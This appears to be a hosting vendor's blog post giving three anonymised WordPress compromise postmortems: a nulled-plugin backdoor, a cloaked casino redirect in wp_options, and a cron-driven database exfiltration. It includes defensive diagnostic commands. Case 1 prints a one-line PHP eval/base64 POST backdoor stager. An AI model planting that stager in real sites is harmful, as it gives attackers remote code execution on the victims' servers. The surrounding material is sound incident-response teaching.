Three real WordPress compromises and how we found them
Three anonymised WordPress compromise postmortems on cPanel: a nulled Elementor Pro backdoor, a wp_options casino injection, and a six-week data exfiltration.
Three real WordPress compromises and how we found them
This post is for the people who manage ten to fifty WordPress sites on one or two cPanel boxes, do not have a dedicated security engineer, and keep finding that the malware scanner subscription they pay for every month did not catch the thing that woke them up at three in the morning. We have been those people. The three cases below are the three most-instructive WordPress compromises we have walked into in the last eighteen months, anonymised per our standing conventions, reported in the order in which we found them with the exact commands we ran.
The point is not "we are great at finding malware". We are not.
The point is that malware scanners miss things, and when they miss
things it is the ordinary work of reading logs, looking at file
timestamps and looking at wp_options rows that finds the
compromise. None of the three were found by the scanner on the box.
We will be honest, throughout, about which parts of this ServerGuard's use case actually automates today and which parts we still call the on-call engineer for.
Why we wrote this post
The first page of Google for "wordpress site hacked how to find"
returns malware-scanner SaaS posts and ten-signs-your-WordPress-is-hacked
listicles. Both kinds of post conclude with "buy our product". Both
also share a structural problem: they describe the symptoms of a
compromise but never the diagnostic path from symptom to evidence to
fix. "Unexpected redirects" is a true and useless symptom. What is
not useless is the SQL query you run against wp_options once you
have started suspecting an unexpected redirect.
We have written this post the way we wish those posts were written. Three real cases, three different attack patterns, and the exact commands we ran at each step. The cases are not a representative sample of all WordPress compromises in the wild; they are a representative sample of the compromises an agency of our shape actually finds in production.
If you came here because you have a hunch your site is compromised right now, the SQL query in Case 2 and the cron-audit one-liner in Case 3 are the highest-yield places to start. Run those first.
Case 1: nulled Elementor Pro on cedarval
How we found it
The page came in from cPanel's own resource alert system. The cPanel
account for cedarval had its PHP CPU sustained at roughly 180% for
fifteen minutes, which was several standard deviations above its
seven-day average. The site itself looked fine in a browser; the
admin dashboard loaded normally; the WordPress error log was empty.
The first reflexive check was Imunify360. We ran a full scan against the document root and waited. Imunify360 came back clean. We have a strong working relationship with Imunify360. It catches a great deal of what crosses our servers. It did not catch this. (This is not a flaw; signature-based scanning has well-understood blind spots. The flaw is in assuming a clean scan is dispositive.)
The second check, which is the one that paid off, was looking at file
mtimes inside wp-content/plugins for anything modified recently.
The site's last legitimate deploy had been three weeks earlier, so
anything with an mtime newer than that was suspicious by definition.
# from the cPanel user shell on cpanel-host
cd ~/public_html/wp-content/plugins
find . -type f -name '*.php' -newer ../../wp-config.php \
-printf '%T@ %p\n' | sort -n | tail -50That command lists the fifty most-recently-modified .php files
under plugins/ that are newer than wp-config.php. (We use
wp-config.php as the reference mtime because it is one of the
oldest files in any healthy WordPress install. It rarely changes
after initial setup.) Most of the entries were expected: a small set
of files inside woocommerce/ that had been updated during the most
recent plugin update three weeks earlier. One was not expected:
./elementor-pro/includes/x.php. It had an mtime from eleven days
earlier, and it was not part of the official Elementor Pro file
listing.
What it was doing
The file was a backdoor. The complete code, lightly defanged here so this post does not itself ship a working stager, was a single line along the lines of:
<?php @eval(base64_decode($_POST['x'] ?? '')); ?>It accepted arbitrary PHP via a POST parameter named x, decoded it,
and eval-ed it. That is the canonical pattern for a PHP stager:
the file itself is innocuous enough to slip past naive grep rules
(no obvious system(), no obvious shell_exec, no specific malicious
strings), but it is a complete remote code execution endpoint for
anyone who knows the URL.
A search of the Apache access log for POSTs against that path showed eight requests over the prior eleven days, all from a single source IP in a European hosting provider. Characteristic of a careful operator using the stager for staged follow-on actions, not a smash-and-grab. We are deliberately not publishing the source IP here. Live C2 infrastructure is sometimes still active, and publishing the address hands attackers free reconnaissance. As a policy we no longer quote real attacker IPs in prose either — even catalogued bad actors get nothing from being named on this blog.
The root cause
We asked cedarval how they had installed Elementor Pro. The honest
answer was that they had downloaded it from a "premium plugins free"
site to avoid the $59 per year Elementor licence fee. Specifically,
the zip file they had uploaded via the WordPress admin contained
the official Elementor Pro plugin code with one extra file added.
That extra file was includes/x.php.
This is the most common WordPress compromise vector we see. Free-premium-plugin distribution sites are a stable business: they earn money by serving backdoored versions of paid plugins. The backdoor is the whole product; the plugin itself is bait. We have walked into this pattern on five separate clients in the past year.
The clean-up
The fix on the affected install is the obvious one (delete the extra file and replace the entire plugin directory with a clean copy purchased directly from Elementor) but the fix on the wider estate is not the obvious one. Once a client has done this once, the question is which other sites on the same server have nulled plugins, because the answer is almost never zero.
We use wp-cli for this audit. From the cPanel user shell, for each
WordPress install on the server, we run:
# verify every plugin's files against the wordpress.org checksum
wp plugin verify-checksums --all --path=~/public_htmlwp plugin verify-checksums compares the actual on-disk plugin
files against the manifest published on wordpress.org for that
exact plugin version. Any extra file, any modified file, any missing
file is reported. It only works for plugins hosted on wordpress.org,
which means it does not natively cover commercial plugins like
Elementor Pro. The inverse is informative: any plugin directory
that wp-cli cannot verify is one we have to manually audit, and
that manual audit is the one we did for cedarval.
After cleaning the file, we forced a password reset for every
WordPress user on the install (the backdoor had eval access; we
assume credentials in wp-config.php and the database were
compromised), rotated the database password in wp-config.php, and
rotated every API key stored on the account.
Case 2: casino injection in wp_options on meadowbr
How we found it
The trigger here was Google Search Console. meadowbr received the
generic "deceptive content" notification on their primary domain,
which in Search Console reads as a flat statement that Google has
seen the site serve content suggestive of phishing or social
engineering. The site looked completely fine to us when we logged
in. It looked fine when a junior team-mate logged in. The home page
in a logged-out incognito tab also looked fine.
This is the cloaking pattern. The compromise was visible only when the site was loaded with a Googlebot User-Agent or a referrer matching a Google search result. From any other origin, the site behaved normally. The diagnostic is to reproduce Google's view:
curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; \
+http://www.google.com/bot.html)" \
-e "https://www.google.com/search?q=meadowbr" \
-sLD - "https://meadowbrewing.co/" -o /dev/nullThat sets a Googlebot User-Agent and a Referer header consistent
with arriving from a Google search results page, and prints the
response headers. The response was a 302 redirect to a .ru
gambling site. Reproducing the symptom from a real browser with the
same headers also worked. The site was unambiguously serving cloaked
redirects.
What it was doing
Cloaked redirects in WordPress almost always live in one of three
places: the .htaccess file, the active theme's functions.php, or
wp_options. The .htaccess was clean. The active theme's
functions.php was clean. That left wp_options, which is the
table the WordPress core loads on every page boot whenever an option
has autoload=yes. An autoloaded option containing executable PHP
that gets unserialize'd into a runtime hook is the canonical
casino-injection delivery mechanism, because it survives plugin
updates, theme switches and most WordPress malware scanners.
The diagnostic SQL is the most important command in this post:
-- run against wpdb_022 for meadowbr
SELECT option_name, LENGTH(option_value) AS sz, autoload
FROM wpgt_options
ORDER BY LENGTH(option_value) DESC
LIMIT 50;The table prefix wpgt_ is the one this client's install was using;
prefixes like wpgt_ and wprt_ are common patterns from older
WordPress provisioners and they stay verbatim in our anonymised
content because they identify the install pattern, not the client.
The result of that query, on the compromised install, had a row near
the top with all three suspicious properties at once: an autoloaded
option of roughly 45 KB whose name was a generic-looking
wpgt_widget_recent_init that is not actually used by any plugin
or theme on the install. Healthy autoloaded options are typically
either small (settings) or owned by a clearly-identifiable plugin
(transients, caches). A 45 KB autoloaded option with a name that
does not map to a known plugin is, in our experience, malicious
roughly nine times out of ten. The other ten percent is a poorly-
written plugin that should be replaced anyway.
We did not unserialise the value to read it. PHP's unserialize()
is a known source of object-injection vulnerabilities and we are
not going to feed an attacker-controlled blob into it on a live
server. Instead, we read it as text:
SELECT SUBSTRING(option_value, 1, 400)
FROM wpgt_options
WHERE option_name = 'wpgt_widget_recent_init';The first four hundred bytes were enough to confirm the pattern:
a serialized PHP array, the values of which were base64-encoded
chunks of PHP, the whole thing hooked into init via an option name
that the malicious loader code (in a separate plugin we later
removed) registered as a runtime filter.
The clean-up
The immediate fix is one statement:
DELETE FROM wpgt_options
WHERE option_name = 'wpgt_widget_recent_init';That removes the payload and stops the cloaking immediately. But the delete is the easy half. The hard half is finding the upload vector, because if we delete the row and do not find the vector the row will be back inside a day.
In this case the upload vector was a WordPress administrator account whose password had been reused from a credential dump that had appeared on a public breach corpus eight months earlier. The attacker had logged in as a legitimate administrator (the site's audit log showed a normal login from an IP they had never seen before), inserted the malicious option directly via a plugin's "Code Snippets"-style admin page, and logged out. There was no exploit involved. The whole compromise was a password-reuse problem.
The full clean-up for this case was:
- Delete the offending
wp_optionsrow. - Force a password reset for every WordPress administrator on the install.
- Audit the WordPress users table for accounts we did not recognise; there were none in this case, but on a related incident there were two.
- Run the same
wp_optionsdiagnostic against every other WordPress install on the same server, because attackers who get one credential on a server frequently spray it across the rest of the server.
The fourth step found another compromised install on the same cPanel box, on an unrelated client, with the same option-name pattern. The underlying credential-leak was the same human reusing the same password across two different agencies. We notified both.
Case 3: staged data exfiltration on arborlin, six weeks dwell
How we found it
arborlin got in touch because their newsletter list had, according
to the client, leaked. Specifically, the subscribers on their
newsletter list had started receiving promotional emails from a
competing site in an adjacent vertical, with subject lines
suggestive of a list that had been bought. The client wanted us to
confirm whether their WordPress install had been compromised.
We started with the WordPress audit log plugin the client had installed. It showed nothing unusual. We ran Imunify360, Wordfence and a third scanner we keep around as a cross-check. All three were clean. The WordPress install looked, by every WordPress-aware diagnostic, completely fine.
The compromise was not at the WordPress layer. It was at the cPanel layer.
The diagnostic that found it was a one-line audit of every cron entry across every cPanel user on the server:
# as root on the cPanel server
for u in $(ls -1 /var/spool/cron/); do
echo "==== $u ===="
cat "/var/spool/cron/$u"
doneThat iterates the cron spool, which on cPanel holds one file per
cPanel user containing that user's user-mode crontab. Most of the
output was empty (most cPanel users have no cron jobs); some lines
were expected (WordPress installs running wp-cron.php via a
real cron rather than via WordPress's HTTP loopback, which is the
fix we wrote about in the WP-Cron post linked below). One entry, on
arborlin's cPanel account, was not expected:
17 4 * * * /home/arborlin/.local/bin/python3 \
/home/arborlin/scripts/sync.py >/dev/null 2>&1The line runs a Python script at 04:17 UTC every day. The script's parent directory was not part of any deployed application. The mtime on the cron entry was six weeks old.
What it was doing
The script was thirty lines of Python. It connected to the WordPress
database using the credentials in wp-config.php, ran
mysqldump against a small set of tables on a rotating schedule
(different tables each day, so any single execution only pulled a
fraction of the database), gzipped the result, and POSTed it as a
binary payload to a URL hosted on what looked like an open
bittorrent tracker. The choice of destination was the cleverest
part: bittorrent tracker traffic is normal HTTPS POST traffic from
a server's outbound perspective, so it would not have looked
anomalous to an egress-firewall ruleset that only blocked obvious C2
patterns.
Six weeks of daily executions had exfiltrated the entire database
piecewise, including the user table, the newsletter subscribers
plugin table, and the WooCommerce orders table (arborlin ran both
a content site and a small e-commerce store on the same install).
How they got in
This is the most uncomfortable part of the case. The WordPress admin accounts were not compromised. The WordPress database credentials were not used from outside the server. The attacker had cPanel-level access.
The cPanel password had been leaked through a developer's laptop that had been compromised earlier in the year. The compromised developer had stored cPanel logins in plain text in a Notes file that was being silently exfiltrated by an info-stealer for several months before the laptop was reimaged. The cPanel password had not been rotated when the laptop was reimaged, because nobody at the client's agency had connected the two events.
For six weeks, the attacker had a fully legitimate cPanel session on the server. They wrote one cron entry, one Python script, and walked away. They did not deface the site, did not send spam, did not run a casino injection. They quietly read the database every day.
This is the pattern that scares us most. Skilled, patient attackers who do not announce themselves do the most damage and are the hardest to detect by signature. The case turned on the cron audit, and the cron audit only ran because we were specifically suspicious about exfiltration.
The clean-up
The clean-up was procedural rather than technical:
- Rotate the cPanel password and reissue every SSH key on the account.
- Delete the cron entry and the script directory, after preserving forensic copies in a separate cold-storage location.
- Audit every cron entry on every cPanel user on the server with the script above, in case other cPanel accounts had been similarly compromised by the same developer's laptop. None had.
- Notify the client of the legal-disclosure obligations under PDPL (KSA) and GDPR (their EU subscribers), and provide them with the timeline and the data scope so their lawyer could draft the notification.
- Recommend the client engage an external forensics provider for a full disk-image analysis. We did not do this work ourselves and we explicitly said so. Mandiant-grade forensics on a six-week dwell exfiltration is beyond what an agency-shaped operator should claim to handle.
The client engaged the recommended provider. We do not know the full findings of their report; we know it ran to several weeks of work.
Patterns the three cases share
We have walked the three cases above through every junior we onboard. Four patterns recur, every time:
- None of the three were caught by an automated malware scanner. We pay for two of those scanners. They are useful: they catch a lot of low-skill, high-volume signature-matched malware that would otherwise be noise on top of these cases, but they did not catch any of the three compromises that mattered.
- All three were found by reading actual logs (Apache access log,
WordPress audit log,
wp_optionstable, cron spool) rather than by an automated alert. The automated alert that started Case 1 was a CPU resource alert, not a security alert. - All three were found while we were investigating something else. Case 1 was a CPU investigation; Case 2 was an SEO investigation; Case 3 was a "did our list leak?" investigation. The compromise was never the first thing we were looking for.
- All three had a credential-leakage initial vector, not an exploit. A backdoored nulled plugin, a reused administrator password, a developer's stolen laptop. None of the three required exploiting a CVE in WordPress core or in a plugin. The state of WordPress core security is, in our experience, better than its reputation. The state of WordPress credential hygiene is much worse than its reputation.
If you take one thing from this post, take this: the highest return on security work at the agency scale is on credential hygiene, not on more malware scanners.
The prevention checklist we now run on every WordPress site
This is the standing checklist our on-call rotation walks every new WordPress site through during onboarding:
- Plugin licence audit. No nulled plugins, ever. Every commercial plugin gets purchased through the original vendor. We will eat the cost difference rather than carry the risk.
- cPanel hardening. Strong unique password, 2FA enabled (cPanel has supported TOTP for years), IP allowlist for cPanel logins where the client's geographic stability allows it.
- WordPress 2FA. Every administrator account has 2FA enabled at the WordPress layer. Editor and Author accounts do too on high-value sites.
- Weekly cron audit. Any new cron entry on any cPanel user requires a human approval before it is allowed to keep running. See the cron one-liner in Case 3.
- File integrity monitoring on
wp-content. We use AIDE on the server level, with a hash baseline rebuilt on every legitimate deploy. Any drift between deploys flags for review. - Weekly Apache log read-through. Not "ship to a SIEM and forget about it". Have a human read the log, with a checklist, weekly. This sounds expensive; it is the cheapest security thing we do per hour of payoff.
- Credential rotation on departure. Any time a developer or
administrator leaves the team, every credential they had access
to is rotated within twenty-four hours. This is what
arborlindid not do, and it is what cost them six weeks of dwell time.
This is what an agency-scale defence looks like: it is mostly people and process, not products. The products you do buy (Imunify360, AIDE, a 2FA provider) are useful, but they are useful because they amplify the people and process, not because they replace them.
For background on related WordPress operational failure modes that we have written about previously, see our postmortems on WordPress WP-Cron stacking on cPanel: a complete fix and on WooCommerce filter URL crawler traps. The WP-Cron post in particular touches the boundary between an operational failure and a security failure: an attacker who can write to a cPanel account's cron spool can do everything Case 3's attacker did, and the cron audit is the same audit either way.
How ServerGuard handles this
ServerGuard's product use case maps to the spec sections on WordPress hardening and malware detection. We are going to be specific about which parts of the three cases above ServerGuard actually automates today, and which parts are still on the roadmap. This is the part of the post that is worth coming back to as the product evolves; we will update the boundary in place.
Detection. ServerGuard runs scheduled
file-integrity checks on every WordPress install's wp-content
directory and on the core WordPress files. The baseline is built
on registration and rebuilt on every detected legitimate deploy
(a deploy that touched files alongside an authenticated cPanel or
SSH session, with no anomalous outbound traffic). Drift between
deploys raises a Safe-tier alert and surfaces in the dashboard.
Case 1's x.php would have been detected by this baseline within
one scan window.
Detection. ServerGuard correlates cPanel ChkServd CPU alerts with the PHP-FPM processes that were running at the time of the alert, and surfaces a Safe-tier alert naming the specific user account and request URL (when available from the Apache log). Case 1's initial CPU spike would have surfaced as such an alert.
Detection. ServerGuard scans wp_options
on every WordPress install on a scheduled basis and surfaces any
autoloaded option whose size exceeds a per-install threshold and
whose name does not match a known plugin's option-name pattern.
The Case 2 row would have been flagged by this scan inside one
scan window. The flag is a report, not an action. We do not yet
delete wp_options rows automatically.
Detection. ServerGuard watches the cron spool for every cPanel user account and surfaces any new cron entry that was not present on the prior scan. Case 3's cron entry would have been flagged by the next scan after it was written. This is the single highest-yield detection on our list, because it catches the patient-attacker pattern that nothing else on the list catches.
Remediation, Safe tier. ServerGuard
reports findings, blocks the source IP of an unambiguously
malicious request (CSF/LFD integration), and rotates any
credentials it can rotate without human approval (database
passwords behind wp-config.php, internal service tokens). It
does not delete files. It does not delete wp_options rows. It
does not rotate cPanel passwords without human approval. Those
are explicitly Moderate-tier actions.
Remediation, Moderate tier, requires approval, upcoming
roadmap. Quarantining suspect files into a read-only forensic
location (preserving them for later analysis), deleting
confirmed-malicious wp_options rows, and removing unrecognised
cron entries are all Moderate-tier actions that we route through
the Telegram or web approval flow. The on-call engineer sees the
exact action ServerGuard proposes to take, with the exact
command and the exact rationale, and approves or rejects. The
approval flow is shipping today; the catalogue of approvable
actions for the WordPress compromise use case is shipping
incrementally through upcoming.
Out of scope. ServerGuard is not a malware-scanner replacement. It does not run signature-based malware scanning against site contents; we explicitly recommend Imunify360 or an equivalent for that, and ServerGuard ingests their findings rather than duplicating them. ServerGuard is also not a forensic-incident-response provider. Six-week-dwell exfiltration cases like Case 3 require disk imaging, memory analysis, and chain-of-custody work that is not, and will not be, what ServerGuard does. The honest framing is: ServerGuard is the layer that should have raised the alert that prompted the forensics engagement.
That is the line we draw, deliberately. If a product like ours
promised it would replace Mandiant, you should not believe it. The
thing it can credibly do, and what we have built it to do, is the
boring scheduled work (re-run the cron audit, re-run the
wp_options scan, re-run the file integrity check) every day, on
every server, without skipping a Tuesday because somebody got busy.
That is most of where the return is. The rest is still humans.
Related posts
- 8 min read
The corrupted WordPress db.php dropin nobody warned you of
The corrupted WordPress db.php dropin nobody warned you about The ticket reads "Error establishing a database connection". You SSH into the box. MySQL is up. works. The other twelve WordPress sites on the same server are loading fine. Only
- 8 min read
Hardening every WordPress site on cPanel in one loop
Hardening every WordPress site on cPanel in one loop You manage twenty-seven WordPress sites on one cPanel server. A clean hardening pass on a single site (disable xmlrpc, lock down file editing, force SSL on the admin, security headers int
- 14 min read
xmlrpc.php abuse and the 27-site one-shot fix on cPanel
xmlrpc.php abuse and the 27-site one-shot fix on cPanel The first time floods one of your servers, you Google the symptom, find a guide called "how to disable xmlrpc.php in WordPress", install a plugin, click a checkbox, and move on. The se